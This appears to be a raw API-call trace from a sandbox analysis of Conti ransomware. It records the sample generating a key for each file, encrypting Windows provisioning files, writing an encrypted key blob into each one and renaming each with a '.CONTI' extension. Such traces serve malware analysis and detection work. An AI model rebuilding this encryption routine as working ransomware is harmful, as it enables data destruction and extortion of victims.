	[0108.140] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\173__connections_cellular_tigo (honduras)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0108.141] GetLastError () returned 0x0
	[0108.141] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=649) returned 1
	[0108.141] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x289
	[0108.141] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.141] SetEndOfFile (hFile=0x3c4) returned 1
	[0108.141] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.141] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.141] WriteFile (in: hFile=0x3c4, lpBuffer=0x17d3fac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x17d3fac*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0108.143] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.143] ReadFile (in: hFile=0x3c4, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x289, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x289, lpOverlapped=0x0) returned 1
	[0108.143] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x289, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x290) returned 1
	[0108.143] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.143] WriteFile (in: hFile=0x3c4, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x290, lpOverlapped=0x0) returned 1
	[0108.143] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.143] WriteFile (in: hFile=0x3c4, lpBuffer=0x17d3fa0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x17d3fa0*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0108.143] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.143] CloseHandle (hObject=0x3c4) returned 1
	[0108.143] GetProcessHeap () returned 0x1720000
	[0108.143] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.143] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml"
	[0108.143] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml.CONTI"
	[0108.143] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\173__connections_cellular_tigo (honduras)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\173__connections_cellular_tigo (honduras)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0108.144] GetProcessHeap () returned 0x1720000
	[0108.144] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.144] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0108.144] GetProcessHeap () returned 0x1720000
	[0108.144] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65882e8 | out: hHeap=0x1720000) returned 1
	[0108.144] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0108.145] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x17d5430 | out: phKey=0x17d5430*=0x17c82b0) returned 1
	[0108.145] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5434, pdwDataLen=0x483fb8c | out: pbData=0x17d5434*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0108.146] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\174__connections_cellular_csl (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0108.146] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\174__connections_cellular_csl (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0108.146] GetLastError () returned 0x0
	[0108.146] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=642) returned 1
	[0108.146] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x282
	[0108.146] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.146] SetEndOfFile (hFile=0x3c4) returned 1
	[0108.146] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.147] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.147] WriteFile (in: hFile=0x3c4, lpBuffer=0x17d5434*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x17d5434*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0108.148] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.148] ReadFile (in: hFile=0x3c4, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x282, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x282, lpOverlapped=0x0) returned 1
	[0108.148] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x282, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x290) returned 1
	[0108.148] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.148] WriteFile (in: hFile=0x3c4, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x290, lpOverlapped=0x0) returned 1
	[0108.148] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.149] WriteFile (in: hFile=0x3c4, lpBuffer=0x17d5428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x17d5428*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0108.149] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.149] CloseHandle (hObject=0x3c4) returned 1
	[0108.149] GetProcessHeap () returned 0x1720000
	[0108.149] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.149] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml"
	[0108.149] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.CONTI"
	[0108.149] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\174__connections_cellular_csl (hong kong sar)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\174__connections_cellular_csl (hong kong sar)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0108.150] GetProcessHeap () returned 0x1720000
	[0108.150] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.150] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0108.150] GetProcessHeap () returned 0x1720000
	[0108.150] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6588d28 | out: hHeap=0x1720000) returned 1
	[0108.150] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0108.150] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x17d58c0 | out: phKey=0x17d58c0*=0x17c85b0) returned 1
	[0108.151] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d58c4, pdwDataLen=0x483fb8c | out: pbData=0x17d58c4*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0108.151] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\175__connections_cellular_3 (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0108.151] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\175__connections_cellular_3 (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0108.152] GetLastError () returned 0x0
	[0108.152] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=715) returned 1
	[0108.152] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cb
	[0108.152] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.152] SetEndOfFile (hFile=0x3c4) returned 1
	[0108.152] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.152] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.152] WriteFile (in: hFile=0x3c4, lpBuffer=0x17d58c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x17d58c4*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0108.154] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.154] ReadFile (in: hFile=0x3c4, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x2cb, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x2cb, lpOverlapped=0x0) returned 1
	[0108.154] CryptEncrypt (in: hKey=0x17c85b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x2cb, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x2d0) returned 1
	[0108.154] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.154] WriteFile (in: hFile=0x3c4, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x2d0, lpOverlapped=0x0) returned 1
	[0108.154] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.154] WriteFile (in: hFile=0x3c4, lpBuffer=0x17d58b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x17d58b8*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0108.154] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.154] CloseHandle (hObject=0x3c4) returned 1
	[0108.155] GetProcessHeap () returned 0x1720000
	[0108.155] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.155] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml"
	[0108.155] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.CONTI"
	[0108.155] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\175__connections_cellular_3 (hong kong sar)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\175__connections_cellular_3 (hong kong sar)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0108.158] GetProcessHeap () returned 0x1720000
	[0108.158] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.158] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0108.158] GetProcessHeap () returned 0x1720000
	[0108.158] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6589100 | out: hHeap=0x1720000) returned 1
	[0108.159] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0108.159] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x17d5b08 | out: phKey=0x17d5b08*=0x17c82b0) returned 1
	[0108.159] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5b0c, pdwDataLen=0x483fb8c | out: pbData=0x17d5b0c*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0108.160] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\176__connections_cellular_3 (hong kong sar)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0108.160] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\176__connections_cellular_3 (hong kong sar)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4
	[0108.160] GetLastError () returned 0x0
	[0108.160] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=723) returned 1
	[0108.160] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d3
	[0108.161] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.161] SetEndOfFile (hFile=0x3c4) returned 1
	[0108.161] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.161] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.161] WriteFile (in: hFile=0x3c4, lpBuffer=0x17d5b0c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x17d5b0c*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0108.162] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.162] ReadFile (in: hFile=0x3c4, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x2d3, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x2d3, lpOverlapped=0x0) returned 1
	[0108.162] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x2d3, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x2e0) returned 1
	[0108.162] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.163] WriteFile (in: hFile=0x3c4, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x2e0, lpOverlapped=0x0) returned 1
	[0108.163] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.163] WriteFile (in: hFile=0x3c4, lpBuffer=0x17d5b00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x17d5b00*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0108.163] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.163] CloseHandle (hObject=0x3c4) returned 1
	[0108.163] GetProcessHeap () returned 0x1720000
	[0108.163] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.163] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml"
